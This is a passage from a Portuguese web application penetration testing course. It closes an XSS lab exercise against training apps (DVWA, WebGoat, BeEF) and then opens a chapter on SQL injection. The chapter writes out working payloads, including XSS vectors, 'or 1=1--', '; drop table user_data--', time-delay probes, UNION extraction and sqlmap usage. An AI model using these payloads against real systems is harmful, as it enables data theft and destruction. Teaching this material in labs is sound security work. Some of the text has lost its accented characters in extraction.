20. Pressione Ctrl + U para visualizar o cdigo HTML. 21. Procure pelo texto injetado e analise o motivo da explorao ter falhado. 22. Feche a janela de visualizao de cdigo HTML. 23. Digite o cdigo abaixo, reformulado, e clique em Submit:
\;alert(1);//
24. Pressione Ctrl + U para visualizar o cdigo HTML. 25. Procure pelo texto injetado e analise o motivo da explorao ter sido bem-sucedida. 26. Feche a janela de visualizao de cdigo HTML. 27. Digite o texto a seguir e clique em Submit:
</script><script>alert(1)</script>
O ataque funciona? O que mais acontece?
</script><script>alert(1)</script><script>
O que aconteceu de diferente em relao ao vetor anterior?
?name=<script>eval(location.hash.substr(1))<%2fscript>#alert(1)
Qual a lgica por trs do vetor de injeo acima?
alert(1);alert(2)
34. Encerre o Firefox.
228
Arcabouos de explorao
Essa prtica visa explorar algumas das funcionalidades oferecidas pelo BeEF, o qual automatiza um grande conjunto de ataques baseados em cross-site scripting.
1.
2. Acesse o DVWA, por meio da barra de atalhos. 3. Fornea para os campos Username e Password, respectivamente, os valores admin e
Acesse http://webgoat.esr.rnp.br:8080/webgoat/attack
8. Autentique-se com as credenciais guest/guest. 9. Clique em Start WebGoat. 10. Clique em Cross-Site Scripting (XSS) e, em seguida, em Stored XSS Attacks. 11. Digite ttulo no campo Title. 12. Digite o cdigo abaixo no campo Message e clique em Submit:
229
28. Analise as informaes exibidas sobre o navegador web e o ambiente em que executado. 29. Clique na aba Commands. 30. Expanda o grupo Browser. 31. Clique em Link Rewriter e, depois, em Execute. 32. Retorne ao Chrome e aguarde uns instantes. 33. Passe o mouse por cima dos links. O que aconteceu?
230
Bibliografia 5
1 BOJINOV, Hristo; BURSZTEIN, Elie e BONEH, Dan. XCS: Cross Channel Scripting and its
Impact on Web Applications. In: CCS09: Proceedings of the 16th ACM Conference on Computer and Communications Security (New York, USA), pg. 420-431, Association for Computing Machinery, 2009.
1 BOJINOV, Hristo; BURSZTEIN, Elie e BONEH, Dan. The Emergence of Cross Channel
Scripting. In: Communications of the ACM, volume 53, nmero 08, p. 105-113, Association for Computing Machinery, 2010.
1 CHIEN, Eric. Malicious Yahooligans. White Paper: Symantec Security Response, Symantec, 2006. 1 ENDLER, David. The Evolution of Cross-Site Scripting Attacks. iALERT White Paper, iDEFENSE
Labs, 2002.
1 GROSSMAN, Jeremiah. Cross-Site Tracing (XST) - The New Techniques and Emerging Threats to
Bypass Current Web Security Measures Using TRACE and XSS. WhiteHat Security, 2003.
1 GROSSMAN, Jeremiah. Cross-Site Scripting Worms & Viruses - The Impending Threat & the
Best Defense. White Paper, White Hat Security, 2007a.
1 GROSSMAN, Jeremiah. Hacking Intranet Websites from the Outside (Take 2) - Fun with &
without Javascript Malware. White Paper, White Hat Security, 2007b.
1 GROSSMAN, Jeremiah; HANSEN, Robert RSnake; PETKOV, Petko pdp, RAGER, Anton e
FOGIE, Seth. XSS Attacks Cross Site Scripting Exploits and Defense. Syngress, 2007.
1 HOFFMAN, Billy. Stealing Search Engine Queries with JavaScript. SPI Labs Research Brief, SPI
Labs, 2006.
1 HOFFMAN, Billy e SULLIVAN, Bryan. Ajax Security. Addison-Wesley Professional, 2007. 1 HOWARD, Michael; LEBLANC, David e VIEGA, John. 19 Deadly Sins of Software Security
Programming Flaws and How to Fix Them. McGraw-Hill/Osborne, 2005.
1 JOHNS, Martin. SessionSafe: Implementing XSS Immune Session Handling. In: ESORICS
2006, Lecture Notes in Computer Science 4189, p. 444-460. Springer-Verlag, 2006.
1 KAMKAR, Samy. Technical explanation of The MySpace Worm Also called the Samy
worm or JS.Spacehero worm. 2005. Disponvel em: http://namb.la/popular/tech.html. Data de acesso: 30/07/2011.
1 KLEIN, Amit. Cross Site Scripting Explained. Sanctum Security Group, 2002. 1 KLEIN, Amit. DOM Based Cross Site Scripting or XSS of the Third Kind - A look at an
http://www.webappsec.org/projects/articles/071105.html. Data de acesso: 30/07/2011.
Captulo 5 - Bibliografia
overlooked flavor of XSS. Web Application Security Consortium, 2005. Disponvel em:
1 KUPPAN, Lavakumar. Attacking with HTML5. Attack & Defense Labs, 2010. 1 MEUCCI, Matteo et al. OWASP testing guide v3.0. OWASP, 2008.
231
1 SHAH, Shreeraj. Hacking Browsers DOM - Exploiting Ajax and RIA. Blackhat, 2010.
Disponvel em: https://media.blackhat.com/bh-us-10/whitepapers/Shah/BlackHat-USA2010-Shah-DOM-Hacks-Shreeraj-wp.pdf. Data de acesso: 30/07/2011.
1 STUTTARD, Dafydd e PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
1 SUN, Fangqi; XU, Liang e SU, Zendhong. Client-Side Detection of XSS Worms by Monitoring
Payload Propagation. In: ESORICS09: Proceedings of the 14th European Conference on Research in Computer Security, Springer-Verlag, 2009.
1 VAN DER STOCK, Andrew; CRUZ, Dinis; CHAPMAN, Jenelle; LOWERY, David; KEARY, Eoin;
MORANA, Marco M.; ROOK, David; PREGO, Paulo e WILLIAMS, Jeff. OWASP Code Review Guide v1.1. OWASP, 2008.
232
6
Injeo de SQL
objetivos
Apresentar tcnicas para identificar se uma aplicao vulnervel injeo de SQL e ilustrar tudo o que pode ser feito por meio do ataque, cobrindo desde a extrao completa da base de dados at a explorao do servidor.
conceitos
Injeo de SQL, injeo de SQL s cegas, injeo de SQL de segunda ordem, partio e balanceamento, mtodo baseado em busca binria, mtodo bit-a-bit.
Introduo
Injeo de SQL atualmente um dos ataques mais comuns contra aplicaes web e consiste em inserir comandos SQL, em campos e parmetros da aplicao, com o objetivo de que sejam executados na camada de dados (Stuttard e Pinto, 2007; Howard et al., 2005). Em ataques mais simples, operaes podem ser realizadas no banco de dados, limitadas aos privilgios da conta que realiza o acesso. Com um pouco mais de elaborao, possvel
aproveitar-se dos mecanismos de interao com o sistema operacional, existentes em bancos de dados, para leitura/escrita de arquivos e execuo de comandos arbitrrios, por exemplo. A principal vulnerabilidade que permite a realizao de ataques de injeo de SQL consiste na construo dinmica dos comandos, em tempo de execuo, por meio da concatenao de valores fornecidos pelos usurios. Sem a devida validao dessas informaes, o processo pode alterar a semntica do comando SQL original e, em alguns casos, adicionar comandos inteiros para serem executados. Problemas adicionais que potencializam o dano do ataque incluem (Clarke, 2009; Halfond et al., 2006; Stuttard e Pinto, 2007): 1 Acesso ao banco com conta administrativa: viola o princpio de mnimos privilgios, permitindo que qualquer operao seja realizada no banco de dados. 1 Aplicaes que no tratam erros de maneira adequada: se informaes relacionadas ao comando SQL com erro forem exibidas ao usurio, possvel descobrir a estrutura de tabelas e de outros objetos, facilitando o processo de ataque. 1 Configurao insegura do servidor de banco de dados: contas de acesso com senha-padro, objetos desnecessrios instalados, privilgios excessivos sobre objetos e parmetros com valores incorretos so exemplos de vulnerabilidades que podem facilitar desde o vazamento de informaes at a escalada de privilgios.
Captulo 6 - Injeo de SQL
233
Para melhor compreender o ataque, considere uma aplicao, escrita na linguagem PHP, que aceite como entrada um sobrenome e que liste os nmeros de carto de crdito associados a ele, por meio de uma consulta construda da seguinte maneira:
Note que o valor digitado pelo usurio foi concatenado sem modificaes na consulta. O que aconteceria se, em vez de um dado vlido, ele entrasse com a cadeia de caracteres or 1=1--? A consulta resultante seria:
Um exemplo de ataque muito mais perigoso consiste no fornecimento da entrada ; drop table user_data--, que causa a remoo da tabela user_data, caso o usurio utilizado para conexo ao banco possua os privilgios necessrios. claro que, para realizar esse ataque e outros similares, o usurio malicioso necessitaria conhecer a estrutura de tabelas e demais objetos do banco. Mas essas informaes, muitas vezes, so fornecidas gratuitamente em mensagens de erros da aplicao, como a mostrado na Figura 6.3.
234
Para pensar
Do acima exposto, pode-se concluir equivocadamente que, se os erros forem tratados antes de exibidos ao usurio, atacantes tero as aes limitadas, por desconhecimento da estrutura do banco. Ora, segurana algo que deve ser realizado em camadas e, portanto, essa medida deve ser adotada de fato. Porm, se os defeitos mais fundamentais, como a falta de validao da entrada e a maneira como as consultas so construdas, no forem corrigidos, a aplicao ainda continuar vulneSGBD Sistema Gerenciador de Bancos de Dados. Consiste em um conjunto de softwares que permite criar, manipular e gerenciar bancos de dados, encapsulando todos os detalhes de como so organizados fisicamente, alm de manter a consistncia, em um ambiente com mltiplos usurios e acessos concorrentes.
rvel injeo de SQL! E, mesmo que o resultado da injeo no seja exibido, uma variao do ataque, conhecida como Injeo de SQL s cegas (Spett, 2003; Stuttard e Pinto, 2007; Clarke, 2009), pode ser empregada para recuperar toda a estrutura e o contedo do banco
Devido importncia da injeo de SQL e grande quantidade de tcnicas que podem ser utilizadas, este captulo tem por objetivo discutir o tema de maneira detalhada, considerando-se os SGBDs MySQL, Oracle, PostgreSQL e SQL Server. Os tpicos que so cobertos incluem: especificidades de SGBDs, locais de injeo, testes bsicos, extrao de dados via UNION, identificao do servidor de banco de dados, identificao das colunas da consulta, escalada de privilgios, descoberta e extrao de tabelas, manipulao de arquivos, funo definida por usurio, execuo de comando no sistema operacional, varredura de redes, injeo de SQL s cegas, injeo de SQL de segunda ordem e evaso de filtros.
Figura 6.3 Erro de aplicao revelando informaes sobre tabela de banco de dados.
Por que injeo de SQL um dos ataques mais perigosos contra uma aplicao?
235
participao de mercado, pois sero encontrados mais frequentemente em avaliaes de segurana. Por esse motivo, nesta seo e no restante deste captulo, sero considerados os seguintes sistemas gerenciadores de bancos de dados: Oracle, Microsoft SQL Server, MySQL e PostgreSQL.
1 UPDATE: atualiza uma ou mais colunas de uma tabela ou viso, englobando todas as linhas que satisfaam as condies estabelecidas pela clusula WHERE. Exemplos de uso em aplicaes incluem alterao de senha de usurios e manipulao de dados. 1 DELETE: remove uma ou mais linhas de uma tabela ou viso, englobando todas aquelas que satisfaam as condies estabelecidas pela clusula WHERE. Pode ser utilizada, por exemplo, em remoo de usurios e de dados gerais.
236
Empilhamento de comandos
uma funcionalidade disponibilizada por alguns sistemas gerenciadores de bancos de dados, que consiste no suporte submisso de mltiplos comandos SQL de uma nica vez. Em alguns casos, entretanto, o funcionamento depende, tambm, da linguagem na qual a aplicao desenvolvida (Clarke, 2009).
Por exemplo, o SGBD MySQL passou a suportar empilhamento de comandos, a partir da verso 5, mas no h como utiliz-lo em conjunto com aplicaes antigas escritas em PHP que no usam o mdulo Mysqli (Guimares, 2009). Para separar os comandos submetidos, normalmente um ponto-e-vrgula utilizado, o qual no necessrio aps o ltimo item da lista. Isso deixa claro o exemplo ; drop table user_data--, ilustrado na seo anterior. O grande interesse em empilhamento de comandos reside no fato de que muitas das tcnicas de injeo de SQL dependem dessa funcionalidade ou so executadas mais facilmente quando ela est disponvel. De todos os SGBDs abordados, somente o Oracle aceita apenas comandos individuais.
Expresso condicional
Uma expresso condicional avaliada em funo de qual das condies enumeradas satisfeita e tem a vantagem de poder ser utilizada em qualquer lugar que aceite uma expresso, como em uma clusula WHERE, por exemplo. Funciona como um comando if-then-else ou switch, comuns em linguagens de programao, mas, diferentemente, sempre retorna um valor, como se fosse uma funo. Tem fundamental importncia nas diversas tcnicas de injeo de SQL s cegas, que veremos mais adiante. A Figura 6.4 sumariza o suporte a expresses condicionais e similares nos diversos bancos
de dados, enquanto o comando abaixo ilustra o uso delas em uma consulta realizada a um banco de dados Oracle:
select case id when 1 then Um when 2 then Dois when 3 then Trs else ? end, author, title from papers
Captulo 6 - Injeo de SQL
Expresso, funo ou comando condicional Expresso condicional CASE e funo if(). Expresso condicional CASE e funo decode(). Expresso condicional CASE. Expresso condicional CASE e comando IF.
237
Comando de pausa
Um comando de pausa permite suspender o processamento por um perodo de tempo definido pelo usurio. muito til quando o ataque de injeo de SQL no gera resultados que podem ser visualizados por meio da aplicao, pois permite inferir que o cdigo injetado foi executado, se o atraso especificado ocorrer. Para poder ser usado desse modo, o comando de pausa precisa ser uma funo ou ento comandos empilhados devem ser suportados. No caso de Oracle, nenhuma dessas condies atendida, mas possvel simular o mesmo efeito, por meio de subconsultas que levam muito tempo para executar, conforme o exemplo:
select * from papers where (select count(*) from all_users, all_users, all_users, all_users, all_users) > 0
A Figura 6.5 sumariza os comandos de pausa disponveis em cada um dos bancos de dados considerados neste texto. SGBD MySQL Comandos de pausa Verso < 5.0: Funo benchmark(# vezes, operao a ser executada). Verso 5.0: Funo sleep(# segundos). PL/SQL: dbms_lock.sleep(#segundos). Oracle Expresso: (select count(*) from all_users, all_users, all_users, all_users, all_users) >0 Funo pg_sleep(# segundos). Comando WAITFOR DELAY hh:mm:ss.
Figura 6.5 Comandos de pausa em SGBDs.
1 Converso do cdigo ASCII para o caractere correspondente. As funes e os operadores que efetuam as tarefas acima esto listados, para cada banco de dados, na Figura 6.6. Os significados de str, pos, #, char e int so, respectivamente, cadeia de caracteres, posio inicial, nmero de caracteres, caractere e expresso inteira.
238
SGBD
Subcadeia
Tamanho
MySQL
length(str)
Operadores bit-a-bit
Esses operadores atuam sobre os bits individuais dos nmeros passados como operandos e so empregados em algumas tcnicas de injeo de SQL s cegas, que possibilitam paralelizar as requisies. Nesse contexto, os seguintes operadores so relevantes: 1 x AND y: resulta em 1 somente quando ambos os operandos so 1; 0, caso contrrio. 1 x OR y: resulta em 1 quando pelo menos um dos operandos 1; 0, caso contrrio. 1 x XOR y: resulta em 1 quando os operandos tm valores diferentes; 0 caso contrrio. A Figura 6.7 ilustra os smbolos utilizados por diversos bancos de dados para cada um dos
operadores bit-a-bit. Observe que o Oracle suporta nativamente apenas o operador AND e que os demais so derivados por expresses matemticas. SGBD MySQL Oracle PostgreSQL SQL Server AND x&y bitand(x, y) x&y x&y OR x|y x + y bitand(x, y) x|y x|y XOR x^y x + y 2 * bitand(x, y) x#y x^y
Comentrios
O principal objetivo de se utilizar o mecanismo de comentrio em um ataque de injeo de SQL evitar erros de sintaxe, por meio da desconsiderao de aspas e clusulas finais. Porm, quando o comando possui parnteses na parte que sofre a injeo, o uso dessa tcnica resulta em erro, pois o comando submetido ao banco de dados fica com parnteses desbalanceados. Nesse caso, outra estratgia de explorao, abordada mais ao final do captulo, deve ser adotada. Outro uso de comentrios consiste na evaso de filtros mal escritos, que, por exemplo, descartam todas as entradas que possuem espaos, mas aceitam as demais. Para quebrar um controle desse tipo e evitar a rejeio do vetor de teste, basta substituir todos os espaos por /**/, que atuam como um comentrio no interior de comandos.
Uma particularizao desse tipo de comentrio implementada pelo MySQL, a qual permite incluir o cdigo SQL especificado, se a verso do servidor for maior que a informada por um parmetro numrico de cinco dgitos. Por exemplo, considere o comentrio /*!50000 +
10*/, que insere o cdigo + 10, somente se a verso do MySQL for maior que a 5.00.00.
239
Um sumrio dos tipos de comentrio suportados por diversos SGBDs, juntamente com as respectivas notaes, apresentado na Figura 6.8. Tipo Meio de comando Finalizao de linha MySQL /*Comentrio*/ #, ` e -- Oracle /*Comentrio*/ -PostgreSQL /*Comentrio*/ -SQL Server /*Comentrio*/ -Figura 6.8 Comentrios suportados pelos SGBDs.
2. Descoberta de parmetros vulnerveis injeo de SQL. 3. Extrao de dados das tabelas da consulta vulnervel. 4. Determinao do nmero de colunas da consulta vulnervel. 5. Determinao dos tipos das colunas da consulta vulnervel. 6. Identificao do servidor de banco de dados e do sistema operacional. 7.
Escalada de privilgios.
8. Mapeamento de tabelas e demais objetos no banco de dados. 9. Extrao de dados de outras tabelas e vises, por meio de UNION. 10. Extrao de dados do sistema operacional. 11. Identificao de outros servidores. 12. Comprometimento de outros servidores.
Locais de injeo
Dependendo do tipo de comando SQL utilizado, o local em que ocorre a injeo muda e regras diferentes devem ser respeitadas para que no sejam introduzidos erros sintticos (Stuttard e Pinto, 2007).
Comandos SELECT
So utilizados em funcionalidades que exibem informaes, como consultas de catlogos e de dados cadastrais, por exemplo. Dados fornecidos pelos usurios, de modo geral, so empregados como parte da clusula WHERE e, assim, possvel, muitas vezes, utilizar o
Teste de Invaso de Aplicaes Web
Comandos INSERT
So empregados, por exemplo, em cadastros de usurios e em incluso de novos registros em uma base de dados. Os valores fornecidos pelos usurios so usados como parte da clusula VALUES, que consiste em uma lista de expresses, circundada por parnteses. O nmero de elementos depende da quantidade de colunas especificadas no comando ou de colunas existentes na tabela. Disso tudo, conclui-se que, se o vetor de injeo comentar o final do comando, um erro sinttico ser introduzido. De acordo com Stuttard e Pinto (2007),
240
para solucionar esse empecilho, pode-se submeter uma sequncia crescente de valores, at que a incluso ocorra com sucesso. Como exemplo, tem-se:
Comandos UPDATE
So utilizados para atualizao de dados cadastrais e de quantidade de itens de um produto no estoque, por exemplo. A injeo de SQL pode ocorrer na clusula SET e, tambm, na clusula WHERE, e, de modo geral, comentrios podem ser empregados sem causar erro sinttico. Apesar disso, muito cuidado deve ser tomado para evitar que todas as linhas da tabela sejam atualizadas, perdendo-se com isso a consistncia das informaes. Tal cenrio possvel se um comentrio de final de linha injetado na clusula SET, descartando a restrio imposta pela clusula WHERE.
Comandos DELETE
Um exemplo de uso em aplicaes inclui a remoo de contas de usurio e de mensagens em redes sociais, sendo que os dados fornecidos pelo usurio para a realizao da operao so utilizados na clusula WHERE. Tambm necessrio tomar muito cuidado ao efetuar uma injeo de SQL em um DELETE, pois pode-se acabar removendo todas as linhas da tabela manipulada.
Testes bsicos
A melhor maneira de se testar aplicaes, para detectar se so vulnerveis injeo de SQL, com o auxlio de ferramentas automatizadas, de modo a aumentar a produtividade da tarefa. Contudo, importante saber como um teste manual pode ser executado, porque, em muitos casos, o analista de segurana precisa alimentar essas ferramentas com informaes que possibilitam filtrar alarmes falsos (Meucci et al., 2008). A superfcie de teste da aplicao composta por todos os parmetros que so submetidos ao servidor e que podem ser utilizados na construo dinmica de consultas SQL. Alm dos elementos que podem ser diretamente alterados pelo analista, como parmetros GET e campos de formulrios, deve-se atentar para campos escondidos e cabealhos HTTP personalizados. Um proxy de interceptao deve ser utilizado para alterar esses valores nos casos em que levantada na fase de mapeamento da aplicao. O teste inicial consiste em fornecer um delimitador de cadeia de caracteres a cada um dos parmetros mapeados, um por vez. Se a aplicao for vulnervel, isso resulta na submisso de uma consulta mal formada ao banco de dados, o que pode induzir a exibio de mensagens de erro verbosas, caso no sejam devidamente capturadas.
Captulo 6 - Injeo de SQL
o teste realizado manualmente. Observe que a lista dos parmetros a serem avaliados
241
Muitas vezes, nesse processo, informaes importantes so reveladas, como, por exemplo, o fornecedor de banco de dados utilizado ou o prprio comando que gerou o problema. Observe que, no caso de PostgreSQL, os nomes das colunas e da tabela so gratuitamente fornecidos ao usurio da aplicao.
Figura 6.12 Mensagem de erro do SQL Server, decorrente de consulta mal formada.
242
Nem sempre, porm, possvel confirmar a vulnerabilidade, por meio de mensagens de erro contendo tantas informaes, como nos exemplos ilustrados. Muitas aplicaes, hoje em dia, exibem apenas uma mensagem genrica de erro, que pode, muito bem, resultar da rejeio da entrada fornecida, antes da submisso da consulta, em vez de uma vulnerabilidade relacionada injeo de SQL. Nesses casos, outras abordagens podem ser adotadas para retificar o defeito na aplicao: 1 Se a aplicao exibe o resultado da consulta, como acontece em um mecanismo de busca, pode-se submeter um valor vlido, que devolva uma quantidade muito pequena de dados. Em seguida, tenta-se explorar a potencial vulnerabilidade, por meio da sub-
misso de uma entrada que force a seleo da tabela inteira: or 1=1--, se o parmetro for textual, ou 0 or 1=1--, se for numrico. Caso um nmero maior de linhas seja apresentado, tem-se a confirmao desejada. 1 Em alguns casos, como em telas de autenticao, o resultado da consulta no exibido ao usurio. Em tais situaes, como possvel validar se os campos de usurio e senha so vulnerveis injeo de SQL, considerando que as tcnicas bsicas no surtem efeito? Uma das respostas para esse problema consiste em injetar um comando de pausa, a qual, se ocorrer, indica que a aplicao vulnervel. Por exemplo, se a aplicao escrita em ASP.NET, grandes so as chances de que o banco de dados utilizado seja o SQL Server. Assim, pode-se fornecer o valor ; waitfor delay 0:00:10-- (Anley, 2002b), para o campo de identificador de usurio, e observar o tempo de resposta. Um ponto importante que deve ser observado, para que os ataques sejam bem-sucedidos, que o parmetro que sofre a injeo pode, s vezes, ser usado em expresses complexas que utilizam diversos parnteses. Se estes no forem balanceados corretamente, a sintaxe do comando submetido ser invlida e o banco de dados reclamar do problema. Por exemplo, considere a consulta dinmica abaixo:
$comandoSQL = select id, author, title from papers where (title like (%.$termos.%))
Caso o valor fornecido seja or 1=1--, o comando submetido ao banco de dados ser:
select id, author, title from papers where (title like (% or 1=1--%))
Que, claramente, no ser executado pelo servidor, devido ao erro sinttico. De modo a corrigir o problema, o vetor de teste original deve ser substitudo por abc) or 1=1)--. O aluno pode se perguntar, nesse momento, como saber exatamente quantos parnteses colocar e em quais lugares. Dependendo da situao, isso pode ser realmente difcil de resolver e, assim, outras tcnicas, discutidas adiante, devem ser empregadas. Finalmente, segundo Stuttard e Pinto (2007), um erro muito comum, cometido na montagem dos vetores de teste, consiste em se esquecer de aplicar codificao para URL a todos os caracteres, da parte de dados, que tm sentido especial em requisies HTTP. Por exemplo, os smbolos & e + no podem ser usados diretamente em argumentos, pois so empregados, respectivamente, para unir instncias de pares (parmetro=valor) e 243
Captulo 6 - Injeo de SQL
substituir espaos na segunda parte desses elementos. Note que a codificao deve ocorrer sempre que os parmetros forem manipulados manualmente na barra de endereos ou em uma requisio interceptada, mas nunca na tela de um formulrio. Nesse caso, o navegador web j realiza a codificao automaticamente, antes de realizar a submisso.
Na verdade, consegue-se, ao menos, recuperar todas as informaes acessveis pela conta utilizada para se conectar ao banco de dados. No pior cenrio, tal conta administrativa ou, ento, a escalada de privilgios possvel, viabilizando a extrao de qualquer objeto do banco, bem como a execuo de qualquer operao suportada pelo SGBD. Com a tcnica utilizada at ento no possvel extrair dados de outras tabelas, pois a injeo limita-se a alterar a semntica da clusula WHERE. Para incluir linhas no resultado da pesquisa original, a partir de outra fonte de dados, deve-se ir alm, e o mtodo que permite alcanar esse objetivo consiste no uso do operador UNION ou UNION ALL. A sintaxe bsica de um comando SELECT com UNION a seguinte (Clarke, 2009):
select expresso1a, expresso2a, ..., expressoNa from tabela1 UNION [ALL] select expresso1b, expresso2b, ..., expressoNb from tabela2 UNION [ALL] ...
Como j vimos anteriormente, realizar a operao UNION requer que o nmero de expresses devolvidas pelos SELECTs seja exatamente o mesmo e que os tipos das expresses que ocupam a mesma posio sejam compatveis.
Se essas condies no so satisfeitas, o SGBD no executa a consulta e devolve um erro aplicao. Vejamos um exemplo, para facilitar a compreenso dessa nova tcnica. Considere uma aplicao vulnervel, que permite listar artigos contendo uma palavra informada pelo usurio. Submetendo-se o termo or 1=1-- tem-se como resultado o ilustrado na Figura 6.13.
Vamos supor que, por meio da explorao de outra vulnerabilidade, obteve-se a descrio de todas as tabelas do banco de dados, e que se deseja listar o contedo da tabela chamada
244
books, cujas colunas so id, author e title. Para extrair as informaes desejadas, pode-se submeter o termo de busca abaixo, obtendo-se o resultado ilustrado na Figura 6.14.
or 1=1 union select id, author, title from books order by 2-Como razovel esperar que a vulnerabilidade seja explorada para extrair dados de inmeras outras tabelas, possvel eliminar as linhas da tabela original, forando uma expresso sempre falsa na clusula WHERE:
and 1=2 union select id, author, title from books order by 2--
Figura 6.14 Extrao de dados de outra tabela, por meio do operador UNION.
Considere-se, por exemplo, que a submisso de union select null# resulte na mensagem de erro apresentada na Figura 6.15.
union select null,null,null# union select null,null,null,null# union select null,null,null,null,null# union select null,null,null,null,null,null#
245
Com o ltimo vetor de teste, isto , com seis colunas, a mensagem de erro d lugar listagem de artigos mostrada na Figura 6.16, o que implica um nmero correto de colunas. Percebe-se, com facilidade, que o total de testes realizado sempre igual quantidade de colunas do SELECT. Observe, tambm, que cada tentativa incorreta gera uma entrada no arquivo de trilha de auditoria da aplicao, e, por isso, o mtodo pode ser bastante ruidoso se o nmero de colunas for muito grande.
O segundo mtodo de teste consiste em substituir o UNION por ORDER BY e proceder de maneira similar, aumentando o nmero da coluna a cada iterao. A principal diferena que o banco de dados somente gera um erro quando a coluna especificada no existe. Desse modo, o processo deve ser repetido, at que algum problema ocorra, e, no caso da aplicao anterior, os seguintes vetores podem ser submetidos:
Figura 6.16 Resultado quando a injeo de UNION feita com o nmero correto de colunas.
246
Para pensar
Voc percebeu que, no exemplo, o nmero de colunas do comando SELECT diferente do exibido pela aplicao? Tal situao pode parecer estranha, mas encontrada com frequncia em aplicaes reais. Muitas vezes, ela decorre de um comando SELECT * FROM..., no qual o desenvolvedor no especifica as colunas necessrias. Nesses casos, a presente tcnica pode ser usada, tambm, para determinar quais colunas so, de fato, utilizadas na construo da lista exibida ao usurio. Para isso, basta observar se a ordenao das linhas varia, medida que o nmero de coluna alterado na clusula ORDER BY.
Se ocorrer um erro, infere-se que a coluna uma data ou um nmero, se no, ela compatvel com valores textuais. Do ponto de vista prtico, esses so os tipos de colunas interessantes para extrao de informaes, pois qualquer tipo pode ser convertido para uma cadeia de caracteres. Voltando ao exemplo, os testes abaixo seriam realizados:
De modo geral, os bancos de dados possuem funcionalidades que permitem recuperar, por meio de consultas SQL, inmeras informaes, incluindo a verso instalada do software, o usurio corrente, o nome do banco de dados, os objetos existentes, os privilgios concedidos e as estatsticas de uso. A Figura 6.17 sumariza os mtodos diretos que podem ser empregados, em diversos bancos de dados, para obteno de algumas dessas informaes. Em todos os casos, supe-se que a tcnica de extrao por meio de UNION possvel, o que facilita a realizao da tarefa. SGBD MySQL Oracle
Figura 6.17 Mtodos para recuperao de informaes sobre o banco de dados.
247
Verso
Usurio corrente
Banco de dados
Os seguintes vetores de teste so exemplos do que submeter, dependendo do tipo de servidor de banco de dados:
MySQL: and 1=2 union select null,null,@@version,null,null,null# Oracle: and 1=2 union select null,banner,null from v$version-PostgreSQL: and 1=2 union select null,version(),null-SQL Server: and 1=2 union select null,@@version,null-Os resultados mostrados nas Figuras 6.18 a 6.21 so obtidos, respectivamente, quando os testes so realizados contra os bancos corretos. Se no, uma mensagem de erro exibida e outro vetor deve ser fornecido, at que se consiga um resultado positivo. Como @@version pode ser usado para capturar informaes de dois SGBDs distintos, recomenda-se iniciar o processo com ele. Observe nesses exemplos que alguns servidores fornecem muito mais informaes do que os outros, auxiliando no processo de identificao. Embora essa tcnica funcione bem, quando se v o resultado da consulta realizada, o mesmo no ocorre naturalmente, se o mximo disponvel uma mensagem genrica, disparada em uma situao de erro. Nesses casos, a melhor estratgia consiste em injetar uma funo particular de um SGBD que no possa ser executada nos demais. Desse modo, se o teste transcorrer com sucesso, tem-se a certeza de que o valor injetado foi executado pelo banco de dados, permitindo reconhec-lo. Detalhes de como realizar essa tarefa sero vistos mais ao final do captulo.
Figura 6.18 Extrao de verso do MySQL.
248
Algumas ferramentas podem ser utilizadas no processo de identificao de servidores, mas, dada a simplicidade do teste, muitas vezes mais vantajoso realiz-lo manualmente. Uma abordagem recorrer a elas somente se todos os testes expostos falharem, pois, s vezes, ocorre de a verificao automatizada ser mais demorada que a manual. Um exemplo desse tipo de utilitrio, que realiza outros testes muito mais interessantes, o sqlmap, escrito em Python e distribudo sob licena GPLv2 (Guimares e Stampar, 2011). Entre as principais caractersticas esto: suporte a diversos SGBDs, utilizao das principais tcnicas de injeo de SQL, enumerao e extrao de tabelas inteiras, suspenso e retomada de teste, interao com o sistema operacional remoto e integrao com outras ferramentas de segurana, como Metasploit e w3af. A Figura 6.22 ilustra a utilizao do sqlmap contra a aplicao da Figura 6.19, cujo servidor de banco de dados foi corretamente identificado. No entanto, necessitou-se aumentar o nvel do teste, por meio da opo --level 2, pois, na configurao inicial, a injeo de SQL no campo do formulrio no era devidamente detectada.
~$ sqlmap.py -u orasqli.esr.rnp.br --form --current-user --level 2 ... do you want to exploit this SQL injection? [Y/n] [23:34:35] [INFO] the back-end DBMS is Oracle web server operating system: Linux Fedora web application technology: PHP 5.3.6, Apache 2.2.17 back-end DBMS: Oracle
Figura 6.22 Uso do sqlmap para identificao de SGBD e usurio.
q
Captulo 6 - Injeo de SQL
blema ocorrido, com informaes abundantes. O passo inicial, ento, consiste na submisso do vetor having 1=1--, que resulta na mensagem mostrada na Figura 6.23. Note que o texto revela a existncia da coluna title, pertencente tabela chamada papers.
249
O prximo vetor deve suprir a coluna recm-descoberta em uma clusula GROUP BY:
Column papers.author is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Repetindo o passo anterior, com a nova coluna, obtm-se o seguinte vetor:
Column papers.id is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Em seguida, o processo executado novamente com a adio da coluna id:
group by papers.title,papers.author,papers.id having 1=1-Com esse ltimo vetor, a consulta realizada com sucesso, o que permite concluir que o SELECT executado contm as colunas id, author e title, pertencentes tabela papers.
Escalada de privilgios
Embora seja muito comum encontrar aplicaes que acessam o banco de dados com uma conta administrativa, felizmente h sistemas que respeitam o princpio de mnimos privilgios. Nesses casos, um objetivo a ser perseguido a escalada de privilgios, de modo a conseguir acesso mais favorvel s informaes armazenadas pelo SGBD.
250
Oracle
De todos os bancos de dados abordados neste captulo, Oracle um dos mais complicados de explorar por meio de injeo de SQL. Uma das razes disso consiste na falta de suporte a comandos empilhados, o que implica que todo o contedo de explorao deve ser inserido em expresses. Por exemplo, comandos INSERT, UPDATE, CREATE e GRANT e chamadas de procedimentos
